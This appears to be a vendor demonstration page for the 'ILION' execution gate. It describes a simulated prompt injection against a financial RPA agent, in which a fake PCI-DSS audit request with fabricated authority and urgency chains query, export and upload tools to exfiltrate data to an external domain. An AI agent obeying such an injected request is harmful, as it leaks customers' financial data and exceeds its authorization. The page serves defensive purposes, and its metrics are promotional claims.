A prompt injection attack disguised as a compliance audit request triggers full data exfiltration through an RPA agent's tool chain. Standard AI guardrails approve execution. ILION's deterministic gate blocks it pre-execution.
An enterprise RPA agent operating in a financial services environment with access to three execution tools. The agent processes natural language instructions and executes multi-step workflows autonomously.
Role: Financial Operations Automation Agent
Authorization: Internal workflow execution only
Scope: Pre-approved transaction processing, report generation, internal data queries
The following prompt arrives through the agent's standard input channel. It mimics legitimate compliance language and references plausible internal processes.
References specific audit framework (PCI-DSS), includes fabricated reference numbers, creates time pressure.
Claims pre-authorization from Senior Compliance Officer with standing order number. No verifiable chain.
Uses all three tools in sequence: query → export → exfiltrate. Each step appears individually legitimate.
Data uploaded to external domain masquerading as audit partner. Complete data exfiltration in one workflow.
Deterministic geometric evaluation of the attack stimulus against the agent's identity anchor and axiomatic constraints.
"ILION prevented unauthorized execution that would have passed standard LLM guardrails."
The attack succeeded because it was semantically coherent — correct terminology, plausible authority, legitimate-looking workflow. Standard content-based safety filters approved it because no explicit policy was violated. The instruction appeared professional and authorized.
ILION blocked it because the geometric relationship between the stimulus and the agent's identity anchor revealed a 91.3% deviation from the agent's operational identity. The request was not what this agent does — regardless of how well it was phrased. This is the structural advantage of pre-execution geometric verification over post-generation content analysis.
This demonstration uses representative metric values computed from the ILION gate function applied to the attack scenario described above. The RPA environment is simulated — no real customer data, APIs, or infrastructure are involved. The attack prompt is synthetic, designed to illustrate a class of prompt injection attacks documented in adversarial ML literature. Metrics (CVL, IDC, IRS, SVRF) are computed using the same deterministic gate function deployed in the ILION Execution Gate Benchmark. Full methodology and gate architecture available in the Industrial White Paper.
Pilot deployments for RPA platforms, financial systems, and enterprise AI agents.